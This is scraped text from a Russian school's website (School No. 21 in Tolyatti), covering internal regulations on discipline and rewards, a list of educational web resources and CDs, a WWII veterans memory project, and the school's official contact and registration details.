-      поддерживать чистоту и порядок в Школе и на ее территории;

-       уважать честь и достоинство других участников образовательного процесса;

-      носить форму, соответствующую единым школьным требованиям (деловой стиль одежды); цвет формы и модель утверждается родителями и учениками класса.

-       иметь сменную обувь. Учащиеся без сменной обуви к занятиям не допускаются. Не рекомендуется хранить сменную обувь в Школе;  

-   для занятий физкультурой в спортивном зале   иметь спортивную обувь, спортивный костюм. Учащиеся без соответствующей спортивной формы к занятиям по физкультуре не допускаются, а пропущенный по этой причине урок расценивается как пропуск без уважительной причины;

-       выходить из школы в течение учебного дня только по письменному разрешению классного
руководителя или дежурного администратора Школы;

-     покидать школу через 20 минут после окончания занятий, кроме случаев, предусмотренных
планом внеурочных мероприятий;

-     являться на занятия в первую смену не ранее 7.30ч. во избежание травматизма;  во вторую смену не ранее 12.50ч. во избежание беспорядка во время уроков первой смены;

-    пользоваться средствами мобильной связи только во внеурочное время: на переменах и по окончании уроков;

-      выполнять требования работников школы по соблюдению правил внутреннего распорядка и
Устава школы.

6.4.      Родители (законные представители) обучающихся обязаны:

-      уважать права, достоинство, честь сотрудников Школы;

-    по приглашению преподавателей и администрации Школы посещать Школу в дни родительских

-       собраний и по индивидуальным вызовам;

-    обеспечивать    посещение    уроков    обучающимися,    кроме    случаев,    расцениваемых    как уважительная   причина.   Своевременно   ставить   в   известность   классного   руководителя   о предполагаемых пропусках уроков по уважительной причине;

-      организовывать контроль за выполнением домашнего задания;

-      обеспечивать своих детей всеми необходимыми учебными принадлежностями;

-      возмещать  ущерб,  причиненный  Школе  их  ребенком,  в  установленном  законодательством порядке;

-     посещать учителей во время перемен между уроками и по окончании уроков;

-       сопровождать первоклассников не далее фойе школы;

-       родители (законные представители) обучающихся несут ответственность за их воспитание,
получение ими общего образования.

 

7. Ответственность за нарушение трудовой и учебной дисциплины

7.1. Нарушения дисциплины, т. е. неисполнение или ненадлежащее исполнение по вине работника и (или) учащегося возложенных на него обязанностей, влечет за собой применение мер дисциплинарного или общественного воздействия, а также применение иных мер, предусмотренных действующим законодательством.

7.2. К работникам Школы за нарушение трудовой дисциплины администрация (директор) Школы применяет дисциплинарные взыскания, предусмотренные ТК РФ.

7.3. Администрация Школы имеет право вместо применения дисциплинарного взыскания передать вопрос о нарушении трудовой дисциплины на рассмотрение Совета Школы.

До наложения взыскания от нарушителя трудовой дисциплины должны быть затребованы объяснения в письменной форме. Отказ работника дать объяснение не может служить препятствием для наложения взыскания.

7.4. Дисциплинарные взыскания налагаются администрацией непосредственно после обнаружения проступка, но не позднее одного месяца со дня его обнаружения, не считая времени болезни или пребывания работника в отпуске.

7.5.      Дисциплинарное взыскание не может быть наложено позднее шести месяцев со дня совершения проступка. В указанные сроки не включается время производства по уголовному делу. За   каждое   нарушение   трудовой   дисциплины   может   быть   применено   только   одно дисциплинарное взыскание.

7.6. При   применении   взыскания   должны   учитываться   тяжесть   совершенного   проступка, обстоятельства, при которых он совершен, предшествующая работа и поведение работника.

7.7. Приказ о применении дисциплинарного взыскания с указанием мотивов его применения объявляется работнику, подвергнутому взысканию, под расписку в трехдневный срок.

7.8. Если в течение года со дня применения дисциплинарного взыскания работник не будет подвергнут    новому    дисциплинарному    взысканию,    то    он    считается    не    подвергавшимся дисциплинарному взысканию

7.9. Администрация по своей инициативе или по ходатайству трудового коллектива может издать приказ о снятии с работника взыскания, не ожидая истечения года, если он не допустил нового нарушения трудовой дисциплины и при этом проявил себя как хороший, добросовестный работник.

7.10.    В   течение   срока  действия   дисциплинарного   взыскания   меры   поощрения,   указанные   в настоящих Правилах внутреннего распорядка, к работнику не применяются.

7.11.    К учащимся, могут быть применены следующие взыскания:

-    замечания в дневник;

-    объявление выговора в приказе по Школе;

-    перевод в другую учебную группу или класс;

-     временный запрет на участие во внеурочных мероприятиях;

-      обнародование проступка по школьному радио;

-      обсуждение проступка в классных коллективах и (или) на заседание Парламента школы.

7.12.    Исключение из школы учащихся может быть произведено за однократное грубое нарушение правил внутреннего распорядка, а именно:

-      за появление в нетрезвом состоянии, состоянии наркотического или токсического опьянения;

-      за злостную порчу имущества Школы;

-      за физическое и психическое насилие участников образовательного процесса и т. п.

Исключение из Школы несовершеннолетних учащихся производится в порядке установленном действующим законодательством.

7.13.    Дисциплинарное взыскание применяется непосредственно после обнаружения проступка, но не позднее одного месяца со дня его обнаружения (не считая времени болезни или нахождения школьника на каникулах), не может быть применено позднее шести месяцев со дня совершения проступка. Если учащийся в течение года со дня применения дисциплинарного взыскания не будет подвергнут    новому    дисциплинарному    взысканию,    то    он    считается    не    подвергавшимся дисциплинарному взысканию.

 

8. Поощрения за успехи в работе и учебе

8.1.      За образцовое выполнение трудовых обязанностей, повышение производительности труда, продолжительную безупречную работу и за другие достижения в работе применяются следующие виды поощрения:

-       объявление благодарности;

-       выдача премии;

-       награждение ценным подарком;

-      награждение Почетной грамотой.

8.2. Поощрения объявляются в приказе директора, доводятся до сведения всего коллектива и заносятся в трудовую книжку работника.

8.3. При применении мер поощрения обеспечивается сочетание материального и морального
стимулирования труда.

8.4. Работникам,    успешно    и   добросовестно    выполняющим    свои    трудовые    обязанности, предоставляются в первую очередь преимущества по продвижению по работе.

8.5.      За    хорошую    успеваемость,    активное    участие    в    научно-исследовательской    работе, общественной жизни Школы для школьников устанавливаются следующие меры поощрения:

-      награждение ценным подарком;

-      награждение Почетной грамотой объявления благодарности в приказе по Школе;

-       объявление благодарности Совета Школы;

-      награждение ценными подарками;

-       занесение в книгу Почета Школы;

-      награждение грамотой;

-       награждение ценным подарком.

8.6. Поощрения    объявляются    приказом    директора    Школы    по    представлению    классных руководителей и ведущих преподавателей и доводятся до сведения школьников на классном собрании. Выписка из приказа о поощрении хранится в личном деле учащегося.

8.7. Выпускники,  достигшие   особых  успехов  при   освоении   общеобразовательных  программ среднего (полного) общего образования, награждаются золотой или серебряной медалью.

8.8. Выпускники, достигшие особых успехов в изучении одного или нескольких предметов, награждаются похвальной грамотой "За особые успехи в изучении отдельных предметов".

8.9. Обучающиеся переводного класса, имеющие по всем предметам, изучавшимся в этом классе, четвертные (полугодовые) и годовые отметки "5", награждаются похвальным листом "За отличные успехи в учении".

 

9. Порядок использования помещений и территории Школы

9.1.      Школьная столовая

9.1.1.   Массовое посещение учащимися столовой ввиду ограниченной пропускной способности помещения осуществляется по графику.

9.1.2.  Учащиеся могут принимать принесенные из дома завтраки в классных комнатах.

9.1.3. Питание в коридорах, на лестницах и в рекреациях не разрешается.

9.2.      Библиотека

9.2.1. Пользование библиотекой бесплатно по утвержденному графику обслуживания учащихся.

9.2.2. Учащиеся несут материальную ответственность за книги, взятые в библиотеке.

9.2.3. Выдача документов об образовании не осуществляется, если ученик имеет задолженность в библиотеке.

9.3.      Спортивный зал

9.3.1.   Занятия во  внеурочное  время в  большом и малом  спортивных залах организуется по расписанию спортивных секций.

9.3.2. Для занятий в залах необходима спортивная форма и обувь.

9.3.3.Индивидуальные занятия возможны по согласованию с учителем физкультуры.

9.4.      Рекреации

9.4.1. В рекреации запрещены игры с предметами, которые могут нанести ущерб здоровью или имуществу.

9.4.2. Учащимся 5-11 классов находиться в рекреациях начальной школы без учебной необходимости не разрешается.

9.4.3.   Учащимся  1-4 классов находиться в рекреациях средней и старшей школы без учебной необходимости не разрешается.

9.5.      Актовый зал

Нахождение учащихся в актовом зале возможно только в присутствии учителя.

9.6.      Туалетные комнаты

9.6.1. Туалетные комнаты начальной школы предназначены для учащихся 1 - 4 классов. Учащимся 5-11 классов находиться в туалетах начальной школы запрещается.

9.6.2. Туалетные комнаты средней и старшей школы предназначены для учащихся 5-11 классов.

Информация к новости

Образовательные интернет-ресурсы

Категория: Электронные сервисы » Электронные образовательные ресурсы

Основные сайты, содержащие каталоги образовательных интернет-ресурсов

 

 

1. Сайт Федерального института педагогических измерений (ФИПИ): http://fipi.ru/

2. Официальный информационный портал единого государственного экзамен:http://www.ege.edu.ru

3. Федеральный портал «Российское образование» http://www.edu.ru

4. Сайт «Готов к ЕГЭ» http://www.gotovkege.ru

5. Тесты в формате ЕГЭ на портале Яндекса http://ege.yandex.ru 

6. Открытый банк заданий по математике http://mathege.ru

7. Федеральный центр информационно-образовательных ресурсов - http://fcior.edu.ru

8. Единая коллекция цифровых образовательных ресурсов - http://school-collection.edu.ru

9. Информационная система "Единое окно доступа к образовательным ресурсам" -http://window.edu.ru

10. Федеральный портал "Российское образование" - http://www.edu.ru

11. Википедия - http://wikipedia.org

12. Олимпиады - http://www.olimpiada.ru

13. Помощиник по поиску ресурсов, сетевых сообществ - http://www.eorhelp.ru

14. Федеральный центр образовательных ресурсов - http://fcior.edu.ru/

15. Федеральное агентство по образованию - http://www.ed.gov.ru

 

Полезные ссылки:

http://www.exponenta.ru Образовательный математический сайт, который будет полезен как ученикам, так и учителям. Этот ресурс станет для учащихся помощников при решении математических задач. Чтобы решить задачу, они могут найти похожую задачу в разделе разобранных примеров, запустить установленный математический пакет, выбрать в списке примеров, решенных в среде этого пакета, подходящий и решить свою задачу по аналогии или обсудить решение задачи на форуме с другими учащимися. Преподаватели могут использовать предложенные здесь математические пакеты для поддержки проводимых занятий, также на сайте есть методические разработки. Кроме того, на сайте много электронных учебников, справочников и статей, а также демо-версии популярных математических пакетов и свободно распространяемые программы. 
http://comp-science.hut.ru/ Учителям информатики и математики и их любознательным ученикам. На сайте собраны дидактические и методические материалы, олимпиады по математике и информатике. 
http://mschool.kubsu.ru/ Библиотека электронных учебных пособий. На сайте приводятся задачи и решения к ним различных математических олимпиад. Работает школа «Абитуриент». Размещен электронный сборник упражнений по педагогике, а также электронное учебное пособие со следующими разделами: 1. Задачи конкурсных экзаменов по математике и методы их решения. 2. Образцы вариантов экзаменационных работ. 3. Образцы тестовых заданий по математике. 4. Образец интерактивного теста по математике. 
http://virlib.eunnet.net/mif «МИФ». Журнал по математике, информатике и физике для школьников. Адресован школьникам, студентам и их преподавателям. 
http://www.mccme.ru/mmmf-lectures/books/books/books.php Библиотека «Математическое просвещение». На сайте представлены PDF-версии брошюр из этой серии, начиная с 1-го выпуска (1999 год) по 32-ой выпуск (2005 год). 
http://mathem.h1.ru Математика on-line. На данном сайте можно найти формулы по математике, геометрии, высшей математике и т.д. Также здесь есть справочная информация по математическим дисциплинам и интересные статьи. Планируется открытие раздела математических головоломок. 
http://shevkin.ru/Математика. Школа. Будущее. Ресурс посвящен всему, что связано со школой, с математикой в школе, с реформированием математического образования в России, с работой автора учебников, книг и пособий для учителей и учащихся, статей по методике преподавания математики учителя математики школы № 679 г. Москвы кандидата педагогических наук Шевкина Александра Владимировича. На сайте можно узнать самые последние и новости из мира школьного образования, школьной математики, узнать о выходе новых учебников, книг, статей, почитать статьи — опубликованные и еще не опубликованные «на бумаге». Узнать, где можно приобрести ту или иную книгу издательств «Просвещение» и «Русское слово». 
http://ilib.mccme.ru/plm/ Популярные лекции по математике. Серия «Популярные лекции по математике» была настольной для школьников и их учителей в течение десятилетий. Издание серии было прекращено в начале 90-х годов. На этом сайте представлены все 62 выпущенные в этой серии книги с возможностью чтения оn-line, а также скачивания в форматах TIFF и DjVu. 
http://allmath.ru/ Вся математика в одном месте. Математический портал, на котором можно найти любой материал по математическим дисциплинам. Разделы: высшая математика, прикладная математика, школьная математика, олимпиадная математика. 
http://www.logpres.narod.ru/ Ресурс будет полезен прежде всего учителям. Он поможет понять, как можно использовать современные информационные технологии во время проведения занятий по математике. На сайте есть конкретные примеры проведения подобных уроков. 
http://www.math-on-line.com/ Ресурс предназначен прежде всего для школьников 5 – 8 классов, которым нравится занимательная математика и которым по вкусу конкурс, игра, соревнование. Они могут самостоятельно принять участие в Интернет-олимпиаде по решению логических задач. На этом сайте им также предоставлена возможность начать тренироваться. Для этого надо зайти в он-лайн игру-тренинг по математике в учебном центре «Тренировочные игры». В тренировках им поможет учебное пособие центра – каталог занимательных задач по математике, так как у каждой задачи есть решение и объяснение. Кроме того, ресурс может быть полезен и учителям, из него можно взять интересные задания для проведения уроков в школе. 
http://college.ru/matematika/ «Открытая математика» – это комбинация классического содержания и новейших Internet-решений (интерактивные Java – апплеты, автоматическое управление системой дистанционного образования). Раздел «Открытого Колледжа» по математике интегрирует содержание учебных компьютерных курсов компании ФИЗИКОН «Открытая Математика. Алгебра», «Открытая Математика. Планиметрия», «Открытая Математика. Стереометрия» и «Открытая Математика. Функции и Графики», выпускаемых на компакт-дисках, и индивидуальное обучение через интернет-тестирование и электронные консультации. В разделе можно найти учебный материал по различным разделам математики – АЛГЕБРА, ПЛАНИМЕТРИЯ, СТЕРЕОМЕТРИЯ, ФУНКЦИИ и ГРАФИКИ и другие. Программы «Алгебра on-line» и «eSolver» – тренажеры по решению алгебраических уравнений. Раздел МАТЕМАТИКА в ИНТЕРНЕТ содержит обзор интернет-ресурсов по математике и постоянно обновляется.

 

Ресурсы школьной медиатеки

 

Базовый уровень. Начальное общее образование. Основная.

Компакт - диски.
Обучение грамоте. 1 класс. Уроки Кирилла и Мефодия.
Уроки русского языка. 1 класс. Уроки Кирилла и Мефодия. 
Уроки русского языка. 2 класс. Уроки Кирилла и Мефодия. 
Математика. 1 класс. Часть 1. Уроки Кирилла и Мефодия. 
Математика. 1 класс. Часть 2. Уроки Кирилла и Мефодия. 
Математика. 1 класс. Часть 3. Уроки Кирилла и Мефодия.
Математика. 1 класс. Часть 4. Уроки Кирилла и Мефодия.
Математика. 2 класс. Часть 1. Уроки Кирилла и Мефодия.
Математика. 2 класс. Часть 2. Уроки Кирилла и Мефодия.
Математика. 3 класс. Часть 1. Уроки Кирилла и Мефодия.
Математика. 3 класс. Часть 2. Уроки Кирилла и Мефодия.
Мир вокруг нас. Как устроен город. CD-диск
Окружающий мир. 1 класс. Часть 1. Уроки Кирилла и Мефодия.
Окружающий мир. 1 класс. Часть 2. Уроки Кирилла и Мефодия.
Окружающий мир. 2 класс. Уроки Кирилла и Мефодия.
Окружающий мир. 3 класс. Уроки Кирилла и Мефодия.
Окружающий мир. 4 класс. Уроки Кирилла и Мефодия.


Базовый и профильный уровень. Среднее  (полное)  общее образование. Основная и профильная.

Электронные учебники
Математика: учебное электронное издание: новые возможности для усвоения курса математики-М: ООО «Дрофа» ,ДОС, 2004г.
Математика: практикум / Под ред. Дубровского В.Н.: комплект лабораторных работ по геометрии, алгебре, алгоритмике и теории вероятностей- ГУРЦ ЭМТО , 21004  (Институт новых технологий)
1С: Образование 3.0: система программ,2004г.
Интерактивная математика: электронное учебное пособие к учебным комплексам Г.В. Дорофеева и И.Ф. Шарыгина- М: ДОС, ДРОФА,  2002г.
География: библиотека электронных наглядных пособий-М: МО РФ ГУРЦ ЭМТО, Республиканский мультимедтацентр,2003 г
Химия: мультимедийное учебное пособие нового образца :М: Электронная библиотека «Просвещение»,2002 г.
Химия: мультимедийное учебное пособие: Диск 3-М: ЗАО «Просвещение-Медиа»,2002 г.
Химия для всех-ХХ1: решение задач: самоучитель: образовательная коллекция SPLNT-М,2004 г.
«1С: ХроноГраф «Школа»: система поддержки информационного пространства школы-М: ООО «Хронобус»,2003 г.
Химия: Виртуальная лаборатория: учебное электронное пособие-М: Лаборатория систем мультимедиа, Мар ГТУ,2004 г
Физика: образовательный комплекс / Под ред. Н.К. Ханнанова : библиотека  электронных  наглядных пособий-М:  ГУРЦ ЭМТО, Дрофа,2004 
Комплектация  2 диска:
Физика: библиотека электронных наглядных пособий-МО РФ ГУРЦ ЭМТО,ООО « Кирилл и Мефодий», 2003 г.
Химия: библиотека электронных наглядных пособий-М: ООО « Кирилл и Мефодий» , 2003г.
Биология: анатомия и физиология человека: мультимедийное учебное пособие нового образца- М:ЗАО « Просвещение-Медиа», 2002г.
Биология : лабораторный практикум: учебное электронное издание-М: Республиканский медиацентр,2004 г.
Биология : библиотека  электронных наглядных пособий –М: МО РФ ГУРЦ ЭМТО  «Кирилл и Мефодий», 2003 г.
Основы правовых знаний: электронное наглядное пособие(однопользовательская версия) -М: ГУРЦ ЭМТО « Кирилл и  Мефодий», 2002 г.
Всеобщая история: история нового времени: учебное электронное издание-М: ООО «Кордис 8 Медиа», 2004г
Всеобщая история: история Древнего мира: учебное электронное издание-М: ООО «Кордис 8 Медиа», 2004г.
ОБЖ: библиотека электронных  наглядных пособий-М: ГУРЦ ЭМТО «Кирилл и Мефодий», 2003 г.

Базовый и профильный уровень. Среднее  (полное)  общее образование. Основная и профильная.

Электронные учебники
Сдаем Единый экзамен 2004 г.: серия
« 1С: Репетитор»- МО РФ : Агенство гуманитарных технологий,2004г.
Мировая художественная культура: библиотека электронных наглядных пособий: МО РФ ,ЗАО « Инфостудия Экон»,2003 г
История искусств: электронное средство учебного назначения-М: МО РФ ГУРЦ ЭМТО «Кирилл и Мефодий», 2003 г.
Экология : образовательный комплекс: электронное учебное пособие / Под ред А.К. Ахлебинина, В.И. Сивоглазова- М: МО РФ ГУРЦ ЭМТО « Дрофа»,2004 г
Комплектация 2 диска:

Первый- дистрибутив образовательного комплекса (ОК )

Второй «1С: Образование 3.0»: система программ

Экономика и право: образовательный комплекс-М: ГУРЦ ЭМТО, 2004 г
Комплектация 2 диска

Первый – дистрибутив образовательного комплекса (ОК )

Второй « 1С: Образование 3.0»: система программ

Экономическая и социальная география мира: учебное электронное пособие-М: ГУРЦ ЭМТО, Республиканский мультимедиацентр,2003 г
Обществознание: практикум: электронное учебное пособие- М: ООО «Марис»,2004г, ЗАО «Новый Диск»,2004г на двух дисках

Первый-   Обществознание: практикум

Второй- Обществознание: практикум

 

 

 


Информация к новости

Виртуальный школьный музей

Категория: Воспитание » Виртуальный школьный музей

Наша школа находится на окраине города, а вокруг  частные дома, где проживает немало ветеранов Великой Отечественной войны. У нас с ними давно установились добрые дружеские отношения. Они всегда желанные гости в нашей школе: на уроках истории, вечерах памяти, праздничных мероприятиях. Мы знаем их житейские бытовые проблемы и стремимся оперативно их решать. В дни  праздников мы дарим им подарки, угощаем праздничным обедом, готовим интересные концерты.   

Готовясь к 60-летия Великой Победы, мы решили сделать школьный двор своеобразным островком памяти. Учащиеся разбили березовую аллею, внутри которой замостили площадку. 

 С помощью общественности микрорайона, родителей, Попечительского совета школы приобрели и разместили на аллее удобные скамьи. В центре Аллеи был установлен обелиск с эпитафией «В памяти нашей сегодня и вечно», вокруг – цветы и молодые березки. И теперь сюда приходят ветераны не только в праздничные дни, но и в будни, где общаются друг с другом, вспоминают далекие годы войны. 

 

Виртуальный школьный музей

 

 

Готовясь к 65-летию Победы, мы решили предельно окружить наших ветеранов теплотой и заботой.

Чтобы достойно поздравить всех ветеранов квартала и почтить память ушедших из жизни, понадобились точные списки всех ветеранов Великой Отечественной войны, живших и проживающих в настоящее время на территории квартала. Списки из Совета ветеранов не совпадали со списками из территориального органа самоуправления и военкомата, требовалось сопоставить и уточнить эти списки, посетить ветеранов по разным адресам. 

Так родилась идея подготовки выверенной Книги Памяти. В ней мы решили собрать фотографии наших ветеранов, разместить развернутые их развернутые биографии,  рассказать об их сегодняшних интересах и увлечениях, чтобы активнее включить ветеранов в реальную жизнь школы, максимально использовать их бесценный опыт.

Сейчас эта работа завершена - «Книга памяти» составлена. В нее вошли очерки о 49 ветеранах сотого квартала. Мы издали ее и разместили на сайте школы.

К сожалению, из жизни уходят участники событий 1941-45 годов, носители огромного духовного наследия, которое так важно для нас современных школьников. Поэтому необходимо сохранить не только имена  ВСЕХ ветеранов Великой Отечественной войны сотого квартала, но и память об их жизненном пути, емкую память о тех, кто не дожил до сегодняшнего  дня.

На школьном сайте в разделе "Виртуальный музей" мы решили сделать для всех доступной нашу "КНИГУ ПАМЯТИ"  

 

 


Информация к новости

Визитная карточка

Категория: Основные сведения » Основные сведения

Основные сведения


Полное наименование образовательного учреждения: муниципальное бюджетное общеобразовательное учреждение городского округа Тольятти "Школа с углубленным изучением отдельных предметов № 21"


 Директор: кандидат педагогических наук, доцент Королева Лариса Владимировна


 Тип образовательного учреждения: общеобразовательное учреждение


Вид образовательного учреждения: средняя общеобразовательная школа с углубленным изучением отдельных предметов


МЕСТО НАХОЖДЕНИЯ ОБРАЗОВАТЕЛЬНОЙ ОРГАНИЗАЦИИ: 445004, РФ, Самарская область, г.Тольятти, б-р 50 лет Октября, 23


 Телефон (факс): (8482)70-99-11


 Адрес электронной почты: school21@edu.tgl.ru


Адрес официального сайта: http://school21.tlt.ru/


Дата создания образовательной организации МБУ "Школа №21": 06.03.2003г.


Постановка на учет в налоговом органе - 01.01.2009г. (копия свидетельства)


Режим работы школы: 2 смены, 1-я смена с 8.00 до 12.50; 2-я смена с 13.15 до 18.00


График работы: понедельник-суббота с 8.00 до 18.00


Календарно-учебный график на 2017-2018 уч.г. 

Прием граждан руководителем школы: пн - 13.00 - 16.00

Прием сотрудников руководителем школы: пн - 9.00 - 12.00 

Школа не имеет филиалов и представительств.

Школа не имеет дополнительных корпусов.
Школа имеет структурное подразделение: клуб "Витязь".

Руководитель структурного подразделения клуб "Витязь": Глебова Ирина Владимировна
Место нахождения структурного подразделения: 445004, РФ, Самарская область, г. Тольятти, б-р 50 лет Октября, 23
Телефон/факс: (8482)70 88 22

Учредитель: муниципальное образование - городской округ Тольятти в лице Администрации городского округа Тольятти

Адрес: 445011 Россия, Приволжский район, Самарская область, г.Тольятти, пл.Свободы, 4

Факс: 8(8482)54-32-66
E-mail: tgl@tgl.ru,         web: http://portal.tgl.ru/

Глава городского округа Тольятти - Анташев Сергей Александрович
График работы Учредителя: пятидневная рабочая неделя с 8.00 до 17.00.

Автозаводский район: Новый проезд 2, каб. 113, тел. 8(8482)33-28-19, 8(8482)37-37-33
Центральный район: б-р Ленина 15, каб. 61, тел. 8(8482)26-88-22
Комсомольский район: ул. Шевцовой 6, каб. 2а, тел. 8(8482)24-17-08

Учреждение находится в ведомственном подчинении Департамента образования мэрии городского округа Тольятти.
Департамент Образования мэрии городского округа Тольятти:
Руководитель департамента: Пинская Елена Олеговна
Место нахождения департамента: 445021, Россия, Самарская область, г.Тольятти, ул.Голосова, 34
Приемная: (8482) 54-38-70, Факс (8482) 54-38-70,
E-mail: office_do@tgl.ru
Режим работы департамента: пн -пт 8.00 - 17.00, обед 12.00 - 13.00

Прием гражданпонедельник с 14.00 до 17.00
Образовательный портал г.о. Тольятти - http://www.do.tgl.ru

 Смена основных реквизитов учреждения 

1. Общеобразовательная школа № 21 Центрального района города Тольятти переименовано в Муниципальное образовательное учреждение среднего (полного) общего образования школа № 21.

Основание: Постановление № 276 от 09.02.1996 года администрации Центрального района города Тольятти Самарской области.

2. Муниципальное образовательное учреждение среднего (полного) общего образования школа № 21 переименовано Муниципальное образовательное учреждение школа среднего (полного) общего образования с углубленным изучением истории, граждановедения и права № 21 г. Тольятти.

Основание: Постановление № 3759-1/12-00 от 26.12.2000 года мэра города Тольятти 

3. Муниципальное образовательное учреждение школа среднего (полного) общего образования с углубленным изучением истории, граждановедения и права № 21 г. Тольятти переименовано в Муниципальное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением истории, граждановедения и права № 21 г. Тольятти.

Основание: Постановление мэра города Тольятти  № 2620-1/06-01 от 27.06.2001 г.

4. Муниципальное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением истории, граждановедения и права № 21 г. Тольятти переименовано в Муниципальное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением отдельных предметов № 21 г. Тольятти.

Основание: Распоряжение № 616-3/р от 10.03.2005 года заместителя мэра города Тольятти Самарской области.

5. Муниципальное общеобразовательное учреждение средняя общеобразовательная         школа с углубленным изучением отдельных предметов № 21 г. Тольятти переименовано в Муниципальное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением отдельных предметов № 21 г.о. Тольятти.

Основание: Распоряжение № 1080-3/р от 02.03.2007 года заместителя мэра городского округа Тольятти. 

6. Муниципальное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением отдельных предметов № 21 г.о. Тольятти переименовано в муниципальное бюджетное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением отдельных предметов № 21 городского округа Тольятти.

Основание: Распоряжение зам. мэра г.о. Тольятти.  № 10052-р/3 от 20.09.2011 года.

7. Муниципальное бюджетное общеобразовательное учреждение средняя общеобразовательная школа с углубленным изучением отдельных предметов № 21 городского округа Тольятти переименована в муниципальное бюджетное учреждение городского округа Тольятти "Школа с углубленным изучением отдельных предметов №21".

Основание: Распоряжение зам. мэра г.о. Тольятти.  № 3812-р/3 от 05.06.2015 года.

Основной государственный регистрационный номер (ОГРН): 1036301029600

Идентификационный номер налогоплательщика: 6323013209

Код постановки на учет (КПП): 632401001

 

Дата обновления страницы - 3 октября 2017г.
 
{date=j m Y} Яндекс.Метрика